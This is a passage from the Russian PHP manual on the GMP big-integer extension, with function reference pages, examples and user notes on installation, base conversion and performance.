    • gmp_com — Вычисляет дополнение до единицы числа
    • gmp_div_q — Деление чисел
    • gmp_div_qr — Деление чисел и получение частного и остатка
    • gmp_div_r — Остаток от деления чисел
    • gmp_div — Псевдоним gmp_div_q
    • gmp_divexact — Делит числа без остатка
    • gmp_export — Экспортировать в бинарную строку
    • gmp_fact — Факториал
    • gmp_gcd — Вычисление наибольшего общего делителя
    • gmp_gcdext — Вычисление НОД и множителей
    • gmp_hamdist — Расстояние Хэмминга
    • gmp_import — Импортировать из бинарной строки
    • gmp_init — Создание GMP числа
    • gmp_intval — Преобразование числа GMP в целое число
    • gmp_invert — Инверсия остатка от деления
    • gmp_jacobi — Символ Якоби
    • gmp_kronecker — Символ Кронекера — Якоби
    • gmp_lcm — Вычисляет наименьшее общее кратное
    • gmp_legendre — Символ Лежандра
    • gmp_mod — Вычисление остатка от целочисленного деления
    • gmp_mul — Умножение чисел
    • gmp_neg — Изменение знака числа
    • gmp_nextprime — Поиск следующего простого числа
    • gmp_or — Побитовое ИЛИ
    • gmp_perfect_power — Проверить, является ли число "совершенной степенью"
    • gmp_perfect_square — Проверка числа на точный квадрат
    • gmp_popcount — Количество единиц в двоичной записи числа
    • gmp_pow — Возводит число в степень
    • gmp_powm — Возводит число в степень и производит деление по модулю
    • gmp_prob_prime — Проверяет, является ли число "вероятно простым"
    • gmp_random_bits — Random number
    • gmp_random_range — Get a uniformly selected integer
    • gmp_random_seed — Установить начальное состояние RNG
    • gmp_random — Случайное число
    • gmp_root — Извлечь корень степени N и вернуть его целую часть
    • gmp_rootrem — Извлечь корень степени N и вернуть его целую часть и остаток
    • gmp_scan0 — Поиск нуля в числе
    • gmp_scan1 — Поиск единицы в числе
    • gmp_setbit — Установка бита
    • gmp_sign — Знак числа
    • gmp_sqrt — Вычисление квадратного корня
    • gmp_sqrtrem — Квадратный корень с остатком
    • gmp_strval — Преобразование GMP числа в строку
    • gmp_sub — Вычитание чисел
    • gmp_testbit — Проверка, установлен ли бит в 1
    • gmp_xor — Побитовое исключающее ИЛИ
  • GMP — Класс GMP
    • GMP::__construct — Create GMP number
    • GMP::__serialize — Сериализует объект GMP
    • GMP::__unserialize — Десериализует параметр data в объект GMP

User Contributed Notes

Anonymous 15-Nov-2011 05:38
Be careful with GMP - it considers leading zeros in a number string as meaning the number is in octal, whereas 'bc' doesn't:

  gmp_strval("000100", 10) => 64

  bcmul("000100", "1") => 100


Введение

Эти функции позволяют работать с целыми числами произвольной длины, используя GNU MP библиотеку.

Замечание:

Большинство GMP функций принимают GMP числа в виде аргументов. Они представлены в документации как объекты класса GMP. Большинство этих функций также допускают числовые и строковые аргументы, если есть возможность преобразовать последние в числа. Также, если существует более быстрая функция, которая может работать с переданными аргументами (актуально только для целых чисел), то будет использована именно она, прозрачно для пользователя. Смотрите также функцию gmp_init().

Замечание:

С версии PHP 5.6 и новее, вы можете использовать арифметические, побитовые и операторы сравнения с объектами GMP, возвращаемыми gmp_init() и другими GMP функциями.

Внимание

Если требуется явно задать большое целое число, задавайте его строкой, иначе PHP приведёт его к типу float и в результате потеряется точность.

Замечание: Модуль доступен на Windows платформах.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Библиотеку GMP можно загрузить тут » http://gmplib.org/#DOWNLOAD. На этом сайте также есть руководство по GMP.

Как минимум требуется GMP версии 4.2, при этом, некоторые функции требуют более поздней версии библиотеки GMP.

В Windows требуется MPIR вместо GMP.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Чтобы эти функции были доступны, необходимо во время компиляции PHP включить поддержку GMP с помощью настройки --with-gmp.

User Contributed Notes

Elydreams Trend 23-Oct-2021 09:03
On Debian platforms, make sure you install the gmp development library first:

    sudo apt-get install libgmp-dev

Just like other extensions, you need the libs installed before php compile will gracefully complete all.
1602352639 at qq dot com 26-Jun-2020 11:07
ubuntu

sudo apt install php-gmp
oharry0535 at gmail dot com 08-Feb-2019 07:51
Under Windows you will need to un-comment the line in your php.ini file

;extension=gmp

within the php.ini and restart Apache.
insign at gmail dot com 10-Nov-2016 08:00
Simple run:
   sudo apt install php7.0-gmp
sean at crazyhorsecoding dot com 28-Dec-2013 08:45
on Ubuntu Server:

sudo apt-get install libgmp-dev
sudo apt-get install php5-gmp
sudo service apache2 reload
omagaldadze at yahoo dot com 04-May-2013 09:41
On ArchLinux php 5.4.14-1 I had to uncomment the line

extension=gmp.so

in /etc/php/php.ini file.

Probably, restart of web server (e.g. Apache) is required if working from web.
mike dot mackintosh at angrystatic dot com 01-Apr-2013 03:07
On Debian platforms, make sure you install the gmp development library first:

    sudo apt-get install libgmp-dev

Just like other extensions, you need the libs installed before php compile will gracefully complete.
admin at ee-dd dot com 03-Oct-2011 09:18
on ubuntu you can get it from Synaptic Package Manager
just search words "gmp",you'll find it.
MiquelFire 24-Aug-2009 12:40
With PHP 5.3 on Windows, you need to use the VC9 build, otherwise you will not have the dll to enable GMP
Chris 02-Mar-2009 11:49
Under Windows you will need to uncomment the line

;extension=php_gmp.dll

within the php.ini and restart Apache.
arancaytar dot ilyaran at gmail dot com 30-Dec-2008 11:48
Note that this parameter requires a path, as in --with-gmp=DIR, if gmp is installed in a non-standard location, which is almost always the case when you are building your own PHP installation in your home directory.

Obvious, but it's an easy mistake.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

GMP_ROUND_ZERO (int)
GMP_ROUND_PLUSINF (int)
GMP_ROUND_MINUSINF (int)
GMP_MSW_FIRST (int)
GMP_LSW_FIRST (int)
GMP_LITTLE_ENDIAN (int)
GMP_BIG_ENDIAN (int)
GMP_NATIVE_ENDIAN (int)
GMP_VERSION (string)
Версия библиотеки GMP

User Contributed Notes

AnonyMouse At Do Not Mail Me Dot Com 20-Jul-2020 04:21
Here is a table showing the output from gmp_export given gmp_init( 0x0123456789ABCDEF ) and various inputs parameters on a little endian 64-bit platform.
NOTE that the underscores in the table are used to illustrate the separation between "word"s (which are either char, short, int, or long).

+-----------+-----+--------+-------------------------+
| Word Size | Sig | Endian | gmp_export Hex Result   |
+-----------+-----+--------+-------------------------+
| 1 byte    | MSW | little | 01_23_45_67_89_AB_CD_EF |
+-----------+-----+--------+-------------------------+
| 1 byte    | MSW | big    | 01_23_45_67_89_AB_CD_EF |
+-----------+-----+--------+-------------------------+
| 1 byte    | LSW | little | EF_CD_AB_89_67_45_23_01 |
+-----------+-----+--------+-------------------------+
| 1 byte    | LSW | big    | EF_CD_AB_89_67_45_23_01 |
+-----------+-----+--------+-------------------------+
| 2 bytes   | MSW | little | 2301_6745_AB89_EFCD     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | MSW | big    | 0123_4567_89AB_CDEF     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | LSW | little | EFCD_AB89_6745_2301     |
+-----------+-----+--------+-------------------------+
| 2 bytes   | LSW | big    | CDEF_89AB_4567_0123     |
+-----------+-----+--------+-------------------------+
| 4 bytes   | MSW | little | 67452301_EFCDAB89       |
+-----------+-----+--------+-------------------------+
| 4 bytes   | MSW | big    | 01234567_89ABCDEF       |
+-----------+-----+--------+-------------------------+
| 4 bytes   | LSW | little | EFCDAB89_67452301       |
+-----------+-----+--------+-------------------------+
| 4 bytes   | LSW | big    | 89ABCDEF_01234567       |
+-----------+-----+--------+-------------------------+
| 8 bytes   | MSW | little | EFCDAB8967452301        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | MSW | big    | 0123456789ABCDEF        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | LSW | little | EFCDAB8967452301        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | LSW | big    | 0123456789ABCDEF        |
+-----------+-----+--------+-------------------------+
See the full table at https://pastebin.com/2GX4L3dq

My conclusions and infrences:
* gmp_export appears to strips sign data as if calling gmp_abs( $gmp_resource )
* MSW might stand for Most Signifigant Word (order) as the most significant (highest digit) words come first.
    \- A "word" is a numeric type (char, short, int, or long) determined by the $word_size parameter
* LSW might stand for Least Signifigant Word (order) as the least significant (lowest digit) words come first.
* endianness only matters when you are using a word size greater than 1 because, with a word size of 1, each byte is copied over. With a word size of 2, each short is copied over. 4 is int. When copying numbers larger than a byte, endianness does matter because it changes the order of the bytes within the size of the unit. A 2-byte short will have its bytes swapped depending upon the endianness, but the bits in each byte will remain the same.

This note was too long to post, so I had to move the code to make the above table to https://pastebin.com/gWLU4GF8
i at tiankonguse dot com 06-Aug-2013 02:06
when I var_dump these constants,these values is
GMP_ROUND_ZERO  0
GMP_ROUND_PLUSINF 1
GMP_ROUND_MINUSINF 2
GMP_VERSION  "5.0.2"


Примеры

Пример #1 Вычисление факториала с помощью GMP

<?php
function fact($x)
{
$return = 1;
for ($i=2; $i <= $x; $i++) {
$return = gmp_mul($return, $i);
}
return $return;
}

echo gmp_strval(fact(1000)) . "\n";
?>

Этот пример довольно быстро вычислит факториал от 1000 (а это весьма большое число).

User Contributed Notes

fe at e dot com 29-Dec-2017 03:08
If you ever need to use this, please see http://php.net/manual/en/function.gmp-fact.php


GMP Функции

Смотрите также

Другие математические функции можно найти в разделе Математические модули

Содержание

  • gmp_abs — Абсолютная величина
  • gmp_add — Сложение чисел
  • gmp_and — Побитовое И
  • gmp_binomial — Вычисляет биномиальный коэффициент
  • gmp_clrbit — Сброс бита
  • gmp_cmp — Сравнение чисел
  • gmp_com — Вычисляет дополнение до единицы числа
  • gmp_div_q — Деление чисел
  • gmp_div_qr — Деление чисел и получение частного и остатка
  • gmp_div_r — Остаток от деления чисел
  • gmp_div — Псевдоним gmp_div_q
  • gmp_divexact — Делит числа без остатка
  • gmp_export — Экспортировать в бинарную строку
  • gmp_fact — Факториал
  • gmp_gcd — Вычисление наибольшего общего делителя
  • gmp_gcdext — Вычисление НОД и множителей
  • gmp_hamdist — Расстояние Хэмминга
  • gmp_import — Импортировать из бинарной строки
  • gmp_init — Создание GMP числа
  • gmp_intval — Преобразование числа GMP в целое число
  • gmp_invert — Инверсия остатка от деления
  • gmp_jacobi — Символ Якоби
  • gmp_kronecker — Символ Кронекера — Якоби
  • gmp_lcm — Вычисляет наименьшее общее кратное
  • gmp_legendre — Символ Лежандра
  • gmp_mod — Вычисление остатка от целочисленного деления
  • gmp_mul — Умножение чисел
  • gmp_neg — Изменение знака числа
  • gmp_nextprime — Поиск следующего простого числа
  • gmp_or — Побитовое ИЛИ
  • gmp_perfect_power — Проверить, является ли число "совершенной степенью"
  • gmp_perfect_square — Проверка числа на точный квадрат
  • gmp_popcount — Количество единиц в двоичной записи числа
  • gmp_pow — Возводит число в степень
  • gmp_powm — Возводит число в степень и производит деление по модулю
  • gmp_prob_prime — Проверяет, является ли число "вероятно простым"
  • gmp_random_bits — Random number
  • gmp_random_range — Get a uniformly selected integer
  • gmp_random_seed — Установить начальное состояние RNG
  • gmp_random — Случайное число
  • gmp_root — Извлечь корень степени N и вернуть его целую часть
  • gmp_rootrem — Извлечь корень степени N и вернуть его целую часть и остаток
  • gmp_scan0 — Поиск нуля в числе
  • gmp_scan1 — Поиск единицы в числе
  • gmp_setbit — Установка бита
  • gmp_sign — Знак числа
  • gmp_sqrt — Вычисление квадратного корня
  • gmp_sqrtrem — Квадратный корень с остатком
  • gmp_strval — Преобразование GMP числа в строку
  • gmp_sub — Вычитание чисел
  • gmp_testbit — Проверка, установлен ли бит в 1
  • gmp_xor — Побитовое исключающее ИЛИ

User Contributed Notes

Nitrogen 06-Sep-2010 08:02
I made a function that can be used for converting numbers to any base you wish.. instead of returning a string of pre-defined index of characters (i.e. 0-9a-z) you could simply make your own of any length using the array of indexes it returns.
I looked around and didn't see anybody made one, I needed one for a simple compression algorithm with only numbers, I've not actually made it yet but this was an initial idea.

<?php
// ConvertBase function explained:
// we add an array item $Input%$Base floored and divide $Input by $Base floored.
// repeat until $Input is no longer above 0.

function ConvertBase($Input,$Base=10) {
  $Input=gmp_init($Input);
  $Result=array();

  for($i=0;$i<1||gmp_sign($Input)==1;$i++) {
    $Result[]=gmp_intval(gmp_mod($Input,$Base));
    $Input=gmp_div_q($Input,$Base);
  }
  $Result=array_reverse($Result);
  return($Result);
}

// an example how gmp_strval($.., 36); could be achieved:

// the funny emergency number from The IT Crowd
// (leading zeroes aren't liked in gmp_init though)
$Input = '1189998819991197253';

// our example 36 characters used in gmp_strval($.., 36);
$Chars = '0123456789abcdefghijklmnopqrstuvwxyz';

// count the $Chars so they're all used
// or use your own number less than the length of $Chars
$Base = strlen($Chars);

// perform
$Result = ConvertBase($Input,$Base);

// replace the resulting index with the corrosponding characters of the index in $Chars
for($i=0;$i<count($Result);$i++)
  $Result[$i]=$Chars{$Result[$i]};

// compare
printf("gmp_strval:  %s\r\n",gmp_strval($Input,36));
printf("BaseConvert: %s\r\n",implode($Result));

/* OUTPUT:
gmp_strval:  91h7dixfq6h1
BaseConvert: 91h7dixfq6h1
*/
?>
The example shows a familiar result of course, but the idea of this function was so that you can use whatever base you wish, and display entirely your own output to represent any number of choice.

Also, for those who wish to do bitwise shifting, it's quite simple.. to shift left, just multiply the number by pow(2,x), and to shift right, divide by pow(2,x).

<?php
function gmp_shiftl($x,$n) { // shift left
  return(gmp_mul($x,gmp_pow(2,$n)));
}

function gmp_shiftr($x,$n) { // shift right
  return(gmp_div($x,gmp_pow(2,$n)));
}
?>

Have fun,
Nitrogen.
john at worldmapad dot com 22-Jul-2006 11:24
Here's a quick and dirty way to use simple GMP functions with PHP without recompiling. It is dependent upon the use of the exec() function, so make sure you can use exec(). While in safe mode you must consider the safe_mode_exec_dir directive. And don't simply pass user input to the exec function without validating the input first!

Download and Install GMP as instructed in README and INSTALL files.
On my MAC OS X Server, I just did the following:
./configure
make
make check
make install
This installed it in the /usr/local directory. There were some errors, but not with any functions I needed.
Within the gmp-4.#.# cd into the demos directory. Then compile pexpr.c by typing:
make pexpr
This is a simple expressions parser which serves as a simple interface to some of the basic GMP functions.
You can test it then like:
./pexpr "102394874783 * 23498748";
Now you may interface with it using PHP's exec() function.
richard-slater.co.uk 22-Feb-2004 01:03
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
    return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>


Абсолютная величина

  • « GMP Функции
  • gmp_add »
  • PHP Manual
  • GMP Функции
  • Абсолютная величина

gmp_abs

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_abs — Абсолютная величина

Описание

gmp_abs(GMP|int|string $num): GMP

Получение абсолютной величины числа.

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает абсолютную величину аргумента num, в виде GMP числа.

Примеры

Пример #1 Пример использования gmp_abs()

<?php
$abs1 = gmp_abs("274982683358");
$abs2 = gmp_abs("-274982683358");

echo gmp_strval($abs1) . "\n";
echo gmp_strval($abs2) . "\n";
?>

Результат выполнения данного примера:

     274982683358
     274982683358

User Contributed Notes

There are no user contributed notes for this page.


Сложение чисел

  • « gmp_abs
  • gmp_and »
  • PHP Manual
  • GMP Функции
  • Сложение чисел

gmp_add

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_add — Сложение чисел

Описание

gmp_add(GMP|int|string $num1, GMP|int|string $num2): GMP

Складывает два числа.

Список параметров

num1

Первое слагаемое.

Объект GMP, целое число (int) или числовая строка (string).

num2

Второе слагаемое.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Сумма аргументов в виде GMP числа.

Примеры

Пример #1 Пример использования gmp_add()

<?php
$sum = gmp_add("123456789012345", "76543210987655");
echo gmp_strval($sum) . "\n";
?>

Результат выполнения данного примера:

200000000000000

User Contributed Notes

There are no user contributed notes for this page.


Побитовое И

  • « gmp_add
  • gmp_binomial »
  • PHP Manual
  • GMP Функции
  • Побитовое И

gmp_and

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_and — Побитовое И

Описание

gmp_and(GMP|int|string $num1, GMP|int|string $num2): GMP

Вычисляет побитовое И двух GMP чисел.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Результат побитового И в виде GMP числа.

Примеры

Пример #1 Пример использования gmp_and()

<?php
$and1 = gmp_and("0xfffffffff4", "0x4");
$and2 = gmp_and("0xfffffffff4", "0x8");
echo gmp_strval($and1) . "\n";
echo gmp_strval($and2) . "\n";
?>

Результат выполнения данного примера:

4
0

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет биномиальный коэффициент

  • « gmp_and
  • gmp_clrbit »
  • PHP Manual
  • GMP Функции
  • Вычисляет биномиальный коэффициент

gmp_binomial

(PHP 7 >= 7.3.0, PHP 8)

gmp_binomial — Вычисляет биномиальный коэффициент

Описание

gmp_binomial(GMP|int|string $n, int $k): GMP

Вычисляет биномиальный коэффициент C(n, k).

Список параметров

n

Объект GMP, целое число (int) или числовая строка (string).

k

Возвращаемые значения

Возвращает биномиальный коэффициент C(n, k).

Ошибки

Выбрасывает ValueError, если k отрицателен. До PHP 8.0.0, выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Сброс бита

  • « gmp_binomial
  • gmp_cmp »
  • PHP Manual
  • GMP Функции
  • Сброс бита

gmp_clrbit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_clrbit — Сброс бита

Описание

gmp_clrbit(GMP $num, int $index): void

Сбрасывает (устанавливает в 0) бит на позиции index аргумента num. Индексация начинается с 0.

Список параметров

num

Объект GMP.

index

Индекс очищаемого бита. Индекс 0 указывает на младший бит.

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_clrbit()

<?php
$a = gmp_init("0xff");
gmp_clrbit($a, 0); // индексация с 0, младший значащий бит
echo gmp_strval($a) . "\n";
?>

Результат выполнения данного примера:

    254

Примечания

Замечание:

В отличие от большинства GMP функций, gmp_clrbit() должна вызываться для уже существующего объекта GMP (например, созданного с помощью gmp_init()). Функция не создаёт их автоматически.

Смотрите также

  • gmp_setbit() - Установка бита
  • gmp_testbit() - Проверка, установлен ли бит в 1

User Contributed Notes

There are no user contributed notes for this page.


Сравнение чисел

  • « gmp_clrbit
  • gmp_com »
  • PHP Manual
  • GMP Функции
  • Сравнение чисел

gmp_cmp

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_cmp — Сравнение чисел

Описание

gmp_cmp(GMP|int|string $num1, GMP|int|string $num2): int

Сравнивает два числа.

Список параметров

num1

Объект GMP, целое число (int) или числовая строка (string).

num2

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает положительное значение, если a > b, ноль, если a = b и отрицательное значение, если a < b.

Примеры

Пример #1 Пример использования gmp_cmp()

<?php
$cmp1 = gmp_cmp("1234", "1000"); // больше
$cmp2 = gmp_cmp("1000", "1234"); // меньше
$cmp3 = gmp_cmp("1234", "1234"); // равны

echo "$cmp1 $cmp2 $cmp3\n";
?>

Результат выполнения данного примера:

1 -1 0

User Contributed Notes

russell dot harper at springboardnetworks dot com 28-Jul-2010 01:43
I've encountered a memory leak in gmp_cmp if a literal string is used as the second value inside of loops. A workaround is to initialize first, then use the variable. I wasn't able to generate a minimum code sample, it's something more complicated, but I was able to fix it as follows:

<?php

$x = gmp_init(strval(mt_rand()));

// Depending on surrounding code, may have leaks
while (true)
{
    if (!gmp_cmp($x, '1'))
        print 'one'."\n";
}

// Usually doesn't have leaks
$one = gmp_init('1');

while (true)
{
    if (!gmp_cmp($x, $one))
        print 'one'."\n";
}

?>


Вычисляет дополнение до единицы числа

  • « gmp_cmp
  • gmp_div_q »
  • PHP Manual
  • GMP Функции
  • Вычисляет дополнение до единицы числа

gmp_com

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_com — Вычисляет дополнение до единицы числа

Описание

gmp_com(GMP|int|string $num): GMP

Возвращает дополнение до единицы числа num.

Список параметров

num

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Возвращает дополнение до единицы числа num в виде числа GMP.

Примеры

Пример #1 Пример использования gmp_com()

<?php
$com = gmp_com("1234");
echo gmp_strval($com) . "\n";
?>

Результат выполнения данного примера:

-1235

User Contributed Notes

xo at jdbartlett dot com 13-Apr-2010 10:07
If you're using one's compliment (bitwise NOT) to flip all $a's bits, don't forget that you need to use a mask to specify how many bits you expect in your result:

<?php gmp_and(gmp_com('1234'), '2047') ?>
>> 813 // 01100101101 in binary

I chose 2047 because 1234 is an 11-bit binary number and 2047 is the maximum an 11-bit register can hold:

11111111111  (2047)
10011010010  (1234)
01100101101  (813)


Деление чисел

  • « gmp_com
  • gmp_div_qr »
  • PHP Manual
  • GMP Функции
  • Деление чисел

gmp_div_q

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_q — Деление чисел

Описание

gmp_div_q(GMP|int|string $num1, GMP|int|string $num2, int $rounding_mode = GMP_ROUND_ZERO): GMP

Делит num1 на num2 и возвращает целочисленный результат.

Список параметров

num1

Делимое.

Объект GMP, целое число (int) или числовая строка (string).

num2

Делитель числа num1.

Объект GMP, целое число (int) или числовая строка (string).

rounding_mode

Округление результата определяется параметром rounding_mode, который может принимать следующие значения:

  • GMP_ROUND_ZERO: Дробная часть просто отрезается.
  • GMP_ROUND_PLUSINF: Результат округляется до ближайшего целого в сторону +бесконечности.
  • GMP_ROUND_MINUSINF: Результат округляется до ближайшего целого в сторону -бесконечности.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_div_q()

<?php
$div1 = gmp_div_q("100", "5");
echo gmp_strval($div1) . "\n";

$div2 = gmp_div_q("1", "3");
echo gmp_strval($div2) . "\n";

$div3 = gmp_div_q("1", "3", GMP_ROUND_PLUSINF);
echo gmp_strval($div3) . "\n";

$div4 = gmp_div_q("-1", "4", GMP_ROUND_PLUSINF);
echo gmp_strval($div4) . "\n";

$div5 = gmp_div_q("-1", "4", GMP_ROUND_MINUSINF);
echo gmp_strval($div5) . "\n";
?>

Результат выполнения данного примера:

     20
     0
     1
     0
     -1

Примечания

Замечание:

Эта функция имеет псевдоним gmp_div().

Смотрите также

  • gmp_div_r() - Остаток от деления чисел
  • gmp_div_qr() - Деление чисел и получение частного и остатка

User Contributed Notes

There are no user contributed notes for this page.


Деление чисел и получение частного и остатка

  • « gmp_div_q
  • gmp_div_r »
  • PHP Manual
  • GMP Функции
  • Деление чисел и получение частного и остатка

gmp_div_qr

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_qr — Деление чисел и получение частного и остатка

Описание

gmp_div_qr(GMP|int|string $num1, GMP|int|string $num2, int $rounding_mode = GMP_ROUND_ZERO): array

Функция делит num1 на num2.

Список параметров

num1

Делимое.

Объект GMP, целое число (int) или числовая строка (string).

num2

Делитель числа num1.

Объект GMP, целое число (int) или числовая строка (string).

rounding_mode

В документации к функции gmp_div_q() приведено описание аргумента rounding_mode.

Возвращаемые значения

Возвращает массив (array), в котором первый элемент содержит [n/d] (целое частное), а второй (n - [n/d] * d) (остаток от деления).

Примеры

Пример #1 Деление GMP чисел

<?php
$a = gmp_init("0x41682179fbf5");
$res = gmp_div_qr($a, "0xDEFE75");
printf("Результат: q - %s, r - %s",
gmp_strval($res[0]), gmp_strval($res[1]));
?>

Смотрите также

  • gmp_div_q() - Деление чисел
  • gmp_div_r() - Остаток от деления чисел

User Contributed Notes

There are no user contributed notes for this page.


Остаток от деления чисел

  • « gmp_div_qr
  • gmp_div »
  • PHP Manual
  • GMP Функции
  • Остаток от деления чисел

gmp_div_r

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_r — Остаток от деления чисел

Описание

gmp_div_r(GMP|int|string $num1, GMP|int|string $num2, int $rounding_mode = GMP_ROUND_ZERO): GMP

Вычисляет остаток от деления нацело числа num1 на num2. Если число num1 отлично от нуля, результат будет иметь знак этого числа.

Список параметров

num1

Делимое.

Объект GMP, целое число (int) или числовая строка (string).

num2

Делитель числа num1.

Объект GMP, целое число (int) или числовая строка (string).

rounding_mode

В документации к функции gmp_div_q() приведено описание аргумента rounding_mode.

Возвращаемые значения

Остаток в виде GMP числа.

Примеры

Пример #1 Пример использования gmp_div_r()

<?php
$div = gmp_div_r("105", "20");
echo gmp_strval($div) . "\n";
?>

Результат выполнения данного примера:

     5

Смотрите также

  • gmp_div_q() - Деление чисел
  • gmp_div_qr() - Деление чисел и получение частного и остатка

User Contributed Notes

jessietessie256 at gmail dot com 11-Jan-2019 06:47
it is basically an alias gmp_mod.


Псевдоним gmp_div_q

  • « gmp_div_r
  • gmp_divexact »
  • PHP Manual
  • GMP Функции
  • Псевдоним gmp_div_q

gmp_div

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div — Псевдоним gmp_div_q()

Описание

Функция является псевдонимом: gmp_div_q().

User Contributed Notes

There are no user contributed notes for this page.


Делит числа без остатка

  • « gmp_div
  • gmp_export »
  • PHP Manual
  • GMP Функции
  • Делит числа без остатка

gmp_divexact

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_divexact — Делит числа без остатка

Описание

gmp_divexact(GMP|int|string $num1, GMP|int|string $num2): GMP

Делит число num1 на num2, используя быстрый алгоритм деления без остатка. Функция выдаёт корректный результат, только если заведомо известно, что число num2 делит num1 нацело.

Список параметров

num1

Делимое.

Объект GMP, целое число (int) или числовая строка (string).

num2

Делитель числа num1.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_divexact()

<?php
$div1 = gmp_divexact("10", "2");
echo gmp_strval($div1) . "\n";

$div2 = gmp_divexact("10", "3"); // некорректный результат
echo gmp_strval($div2) . "\n";
?>

Результат выполнения данного примера:

5
2863311534

User Contributed Notes

There are no user contributed notes for this page.


Экспортировать в бинарную строку

  • « gmp_divexact
  • gmp_fact »
  • PHP Manual
  • GMP Функции
  • Экспортировать в бинарную строку

gmp_export

(PHP 5 >= 5.6.1, PHP 7, PHP 8)

gmp_export — Экспортировать в бинарную строку

Описание

gmp_export(GMP|int|string $num, int $word_size = 1, int $flags = GMP_MSW_FIRST | GMP_NATIVE_ENDIAN): string

Экспортирует GMP-число в бинарную строку

Список параметров

num

GMP-число для экспорта

word_size

По умолчанию равно 1. Количество байт в каждом блоке бинарных данных. Обычно используется совместно с заданием параметра options.

flags

По умолчанию GMP_MSW_FIRST | GMP_NATIVE_ENDIAN.

Возвращаемые значения

Возвращает строку.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования gmp_export()

<?php
$number = gmp_init(16705);
echo gmp_export($number) . "\n";
?>

Результат выполнения данного примера:

AA

Смотрите также

  • gmp_import() - Импортировать из бинарной строки

User Contributed Notes

There are no user contributed notes for this page.


Факториал

  • « gmp_export
  • gmp_gcd »
  • PHP Manual
  • GMP Функции
  • Факториал

gmp_fact

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_fact — Факториал

Описание

gmp_fact(GMP|int|string $num): GMP

Вычисляет факториал (num!) числа num.

Список параметров

num

Число, факториал которого вычисляется.

Объект GMP, целое число (int) или числовая строка (string).

Возвращаемые значения

Объект класса GMP.

Примеры

Пример #1 Пример использования gmp_fact()

<?php
$fact1 = gmp_fact(5); // 5 * 4 * 3 * 2 * 1
echo gmp_strval($fact1) . "\n";

$fact2 = gmp_fact(50); // 50 * 49 * 48, ... и т.д.
echo gmp_strval($fact2) . "\n";
?>

Результат выполнения данного примера:

120
30414093201713378043612608166064768844377641568960512000000000000

User Contributed Notes

raholl 01-Oct-2018 04:01
I was expecting gmp_fact() is more effective than doing a while loop, but measurements show opposite:

<?php
$cislo = 112;
$fact = $cislo;
$ffact = 1;
$mt = microtime();
while($fact >= 1)
{
    $ffact = $fact * $ffact;
    $fact--;
}
$md=number_format(microtime()-$mt, 6);
echo "<h1>LOOP ($md):</h1>";
echo $ffact;

$mt = microtime();
$vec = gmp_fact($cislo);
$md=number_format(microtime()-$mt, 6);
echo "<h1>GMP FACT ($md):</h1>";
echo $vec;
exit();
?>

WILL OUTPUT:

LOOP (0.000022s):
1.9745068572211E+182

GMP FACT (0.000132s):
1.9745068572211E+182

Result is 0.000022s loop, and 0.000132s gmp_fact()
raholl 01-Oct-2018 03:59
I was expecting gmp_fact() is more effective than doing a while loop, but measurements show opposite:

<?php
$cislo = 112;
$fact = $cislo;
$ffact = 1;
$mt = microtime();
while($fact >= 1)
{
    $ffact = $fact * $ffact;
    $fact--;
}
$md=number_format(microtime()-$mt, 6);
echo "<h1>LOOP ($md):</h1>";
echo $ffact;

$mt = microtime();
$vec = gmp_fact($cislo);
$md=number_format(microtime()-$mt, 6);
echo "<h1>GMP FACT ($md):</h1>";
echo $vec;
exit();
?>

WILL OUTPUT:

LOOP (0.000022s):
1.9745068572211E+182

GMP FACT (0.000132s):
1.9745068572211E+182

Result is 0.000022s loop, and 0.000132s gmp_fact()


Вычисление наибольшего общего делителя

  • « gmp_fact
  • gmp_gcdext »
  • PHP Manual
  • GMP Функции
  • Вычисление наибольшего общего делителя

gmp_gcd

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_gcd — Вычисление наибольшего общего делителя

Описание

gmp_gcd(GMP|int|string $num1, GMP|int|string $num2): GMP

